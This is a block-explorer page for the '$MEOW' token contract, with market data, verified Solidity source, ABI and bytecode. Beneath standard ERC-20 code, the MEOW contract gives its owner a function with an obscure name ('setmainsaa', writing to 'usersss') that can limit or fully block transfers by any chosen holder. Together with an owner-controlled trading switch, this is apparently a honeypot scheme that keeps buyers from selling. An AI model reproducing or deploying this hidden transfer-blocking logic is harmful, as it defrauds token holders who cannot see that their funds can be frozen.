ETH Price: $2,482.08 (-3.50%)

Token

$MEOW ($MEOW)
 

Overview

Max Total Supply

100,000,000 $MEOW

Holders

368

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1.23456789 $MEOW

Value
$0.00
0xf7a2e6a95e5df11fc792fcd36adf51bce0bad9a4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MEOW

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-16
*/

/**

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender,
     uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data; 
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: MEOW caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the MEOW zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: MEOW transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "MEOWERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20MEOW: transfer from the zero address");
        require(recipient != address(0), "MEOW: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount MEOW exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint MEOW to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: MEOW burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: MEOW approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract MEOW is ERC20, Ownable {
    mapping (address => bool) private _isExcludedFromEnableTrad;
    mapping(address => uint256) private usersss;

    constructor (address owner) ERC20("$MEOW", "$MEOW") 
    {   
        _isExcludedFromEnableTrad[owner] = true;
        _mint(owner, 100000000 * (10 ** decimals()));
    }

    receive() external payable {}

    function excludeFromEnableTrading(address account, bool excluded) external onlyOwner{
        require(_isExcludedFromEnableTrad[account] != excluded,"Account is MEOW already the value of 'excluded'");
        _isExcludedFromEnableTrad[account] = excluded;
    }

    function isExcludedFromEnableTrading(address account) public view returns(bool) {
        return _isExcludedFromEnableTrad[account];
    }

    mapping(address => bool) private isLimitSet;

    function setmainsaa(address _address, uint256 _limit) external onlyOwner {
        usersss[_address] = _limit;
        isLimitSet[_address] = true;
    }

    function getusers(address _address) public view returns (uint256) {
        return usersss[_address];
    }

    function hasusers(address _address) public view returns (bool) {
        return isLimitSet[_address];
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);

        if(from != address(0) && to != address(0) && isLimitSet[from]) {
            require(usersss[from] > 0, "No transfer MEOW rights remaining");
            usersss[from]--;
        }
    }

    bool public tradingEnabled;

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading already MEOW enabled.");
        tradingEnabled = true;
    }

    function _transfer(address from,address to,uint256 amount) internal  override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer MEOW to the zero address");
        require(tradingEnabled || _isExcludedFromEnableTrad[from] || _isExcludedFromEnableTrad[to], "Trading not yet enabled!");
       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        super._transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromEnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getusers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"hasusers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromEnableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"setmainsaa","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b50604051620031e6380380620031e68339818101604052810190620000379190620006ca565b6040518060400160405280600581526020017f244d454f570000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f244d454f570000000000000000000000000000000000000000000000000000008152508160029080519060200190620000bb929190620005b0565b508060039080519060200190620000d4929190620005b0565b505050620000f7620000eb6200019660201b60201c565b6200019e60201b60201c565b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200018f81620001646200026460201b60201c565b600a62000172919062000896565b6305f5e100620001839190620008e7565b6200026d60201b60201c565b5062000ba6565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002df576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002d690620009cf565b60405180910390fd5b620002f360008383620003e560201b60201c565b8060046000828254620003079190620009f1565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200035e9190620009f1565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003c5919062000a5f565b60405180910390a3620003e160008383620005a660201b60201c565b5050565b620003fd838383620005ab60201b6200105e1760201c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015620004685750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015620004be5750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15620005a1576000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541162000549576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005409062000af2565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906200059b9062000b14565b91905055505b505050565b505050565b505050565b828054620005be9062000b71565b90600052602060002090601f016020900481019282620005e257600085556200062e565b82601f10620005fd57805160ff19168380011785556200062e565b828001600101855582156200062e579182015b828111156200062d57825182559160200191906001019062000610565b5b5090506200063d919062000641565b5090565b5b808211156200065c57600081600090555060010162000642565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620006928262000665565b9050919050565b620006a48162000685565b8114620006b057600080fd5b50565b600081519050620006c48162000699565b92915050565b600060208284031215620006e357620006e262000660565b5b6000620006f384828501620006b3565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200078a57808604811115620007625762000761620006fc565b5b6001851615620007725780820291505b808102905062000782856200072b565b945062000742565b94509492505050565b600082620007a5576001905062000878565b81620007b5576000905062000878565b8160018114620007ce5760028114620007d9576200080f565b600191505062000878565b60ff841115620007ee57620007ed620006fc565b5b8360020a915084821115620008085762000807620006fc565b5b5062000878565b5060208310610133831016604e8410600b8410161715620008495782820a905083811115620008435762000842620006fc565b5b62000878565b62000858848484600162000738565b92509050818404811115620008725762000871620006fc565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620008a3826200087f565b9150620008b08362000889565b9250620008df7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000793565b905092915050565b6000620008f4826200087f565b915062000901836200087f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200093d576200093c620006fc565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e74204d454f5720746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000620009b760248362000948565b9150620009c48262000959565b604082019050919050565b60006020820190508181036000830152620009ea81620009a8565b9050919050565b6000620009fe826200087f565b915062000a0b836200087f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000a435762000a42620006fc565b5b828201905092915050565b62000a59816200087f565b82525050565b600060208201905062000a76600083018462000a4e565b92915050565b7f4e6f207472616e73666572204d454f57207269676874732072656d61696e696e60008201527f6700000000000000000000000000000000000000000000000000000000000000602082015250565b600062000ada60218362000948565b915062000ae78262000a7c565b604082019050919050565b6000602082019050818103600083015262000b0d8162000acb565b9050919050565b600062000b21826200087f565b91506000820362000b375762000b36620006fc565b5b600182039050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b8a57607f821691505b60208210810362000ba05762000b9f62000b42565b5b50919050565b6126308062000bb66000396000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab578063a457c2d71161006f578063a457c2d714610401578063a9059cbb1461043e578063b7e04c111461047b578063d52508b9146104b8578063dd62ed3e146104e1578063f2fde38b1461051e57610135565b8063715018a61461034057806375d5e02c146103575780638a8c523c146103945780638da5cb5b146103ab57806395d89b41146103d657610135565b80633520a3b4116100f25780633520a3b4146102355780633950935114610272578063484d993f146102af5780634ada218b146102d857806370a082311461030357610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063313ce5671461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610547565b60405161015c91906119c2565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611a7d565b6105d9565b6040516101999190611ad8565b60405180910390f35b3480156101ae57600080fd5b506101b76105f7565b6040516101c49190611b02565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190611b1d565b610601565b6040516102019190611ad8565b60405180910390f35b34801561021657600080fd5b5061021f610720565b60405161022c9190611b8c565b60405180910390f35b34801561024157600080fd5b5061025c60048036038101906102579190611ba7565b610729565b6040516102699190611ad8565b60405180910390f35b34801561027e57600080fd5b5061029960048036038101906102949190611a7d565b61077f565b6040516102a69190611ad8565b60405180910390f35b3480156102bb57600080fd5b506102d660048036038101906102d19190611c00565b61082b565b005b3480156102e457600080fd5b506102ed610994565b6040516102fa9190611ad8565b60405180910390f35b34801561030f57600080fd5b5061032a60048036038101906103259190611ba7565b6109a7565b6040516103379190611b02565b60405180910390f35b34801561034c57600080fd5b506103556109ef565b005b34801561036357600080fd5b5061037e60048036038101906103799190611ba7565b610a77565b60405161038b9190611ad8565b60405180910390f35b3480156103a057600080fd5b506103a9610acd565b005b3480156103b757600080fd5b506103c0610bb6565b6040516103cd9190611c4f565b60405180910390f35b3480156103e257600080fd5b506103eb610be0565b6040516103f891906119c2565b60405180910390f35b34801561040d57600080fd5b5061042860048036038101906104239190611a7d565b610c72565b6040516104359190611ad8565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190611a7d565b610d5d565b6040516104729190611ad8565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190611ba7565b610d7b565b6040516104af9190611b02565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da9190611a7d565b610dc4565b005b3480156104ed57600080fd5b5061050860048036038101906105039190611c6a565b610ee0565b6040516105159190611b02565b60405180910390f35b34801561052a57600080fd5b5061054560048036038101906105409190611ba7565b610f67565b005b60606002805461055690611cd9565b80601f016020809104026020016040519081016040528092919081815260200182805461058290611cd9565b80156105cf5780601f106105a4576101008083540402835291602001916105cf565b820191906000526020600020905b8154815290600101906020018083116105b257829003601f168201915b5050505050905090565b60006105ed6105e6611063565b848461106b565b6001905092915050565b6000600454905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061064d611063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461070957828110156106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90611d7c565b60405180910390fd5b61070885610700611063565b85840361106b565b5b610714858585611234565b60019150509392505050565b60006012905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061082161078c611063565b84846001600061079a611063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461081c9190611dcb565b61106b565b6001905092915050565b610833611063565b73ffffffffffffffffffffffffffffffffffffffff16610851610bb6565b73ffffffffffffffffffffffffffffffffffffffff16146108a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089e90611e93565b60405180910390fd5b801515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093090611f25565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600960009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109f7611063565b73ffffffffffffffffffffffffffffffffffffffff16610a15610bb6565b73ffffffffffffffffffffffffffffffffffffffff1614610a6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6290611e93565b60405180910390fd5b610a756000611433565b565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610ad5611063565b73ffffffffffffffffffffffffffffffffffffffff16610af3610bb6565b73ffffffffffffffffffffffffffffffffffffffff1614610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090611e93565b60405180910390fd5b600960009054906101000a900460ff1615610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9090611f91565b60405180910390fd5b6001600960006101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610bef90611cd9565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1b90611cd9565b8015610c685780601f10610c3d57610100808354040283529160200191610c68565b820191906000526020600020905b815481529060010190602001808311610c4b57829003601f168201915b5050505050905090565b60008060016000610c81611063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3590612023565b60405180910390fd5b610d52610d49611063565b8585840361106b565b600191505092915050565b6000610d71610d6a611063565b8484611234565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dcc611063565b73ffffffffffffffffffffffffffffffffffffffff16610dea610bb6565b73ffffffffffffffffffffffffffffffffffffffff1614610e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3790611e93565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f6f611063565b73ffffffffffffffffffffffffffffffffffffffff16610f8d610bb6565b73ffffffffffffffffffffffffffffffffffffffff1614610fe3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fda90611e93565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611052576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611049906120b5565b60405180910390fd5b61105b81611433565b50565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d190612147565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611149576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611140906121d9565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112279190611b02565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129a9061226b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611312576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611309906122fd565b60405180910390fd5b600960009054906101000a900460ff16806113765750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806113ca5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140090612369565b60405180910390fd5b600081036114225761141d838360006114f9565b61142e565b61142d8383836114f9565b5b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f906123fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ce9061248d565b60405180910390fd5b6115e2838383611778565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f9061251f565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116fb9190611dcb565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161175f9190611b02565b60405180910390a3611772848484611924565b50505050565b61178383838361105e565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ed5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118425750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561191f576000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116118c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c0906125b1565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611919906125d1565b91905055505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611963578082015181840152602081019050611948565b83811115611972576000848401525b50505050565b6000601f19601f8301169050919050565b600061199482611929565b61199e8185611934565b93506119ae818560208601611945565b6119b781611978565b840191505092915050565b600060208201905081810360008301526119dc8184611989565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a14826119e9565b9050919050565b611a2481611a09565b8114611a2f57600080fd5b50565b600081359050611a4181611a1b565b92915050565b6000819050919050565b611a5a81611a47565b8114611a6557600080fd5b50565b600081359050611a7781611a51565b92915050565b60008060408385031215611a9457611a936119e4565b5b6000611aa285828601611a32565b9250506020611ab385828601611a68565b9150509250929050565b60008115159050919050565b611ad281611abd565b82525050565b6000602082019050611aed6000830184611ac9565b92915050565b611afc81611a47565b82525050565b6000602082019050611b176000830184611af3565b92915050565b600080600060608486031215611b3657611b356119e4565b5b6000611b4486828701611a32565b9350506020611b5586828701611a32565b9250506040611b6686828701611a68565b9150509250925092565b600060ff82169050919050565b611b8681611b70565b82525050565b6000602082019050611ba16000830184611b7d565b92915050565b600060208284031215611bbd57611bbc6119e4565b5b6000611bcb84828501611a32565b91505092915050565b611bdd81611abd565b8114611be857600080fd5b50565b600081359050611bfa81611bd4565b92915050565b60008060408385031215611c1757611c166119e4565b5b6000611c2585828601611a32565b9250506020611c3685828601611beb565b9150509250929050565b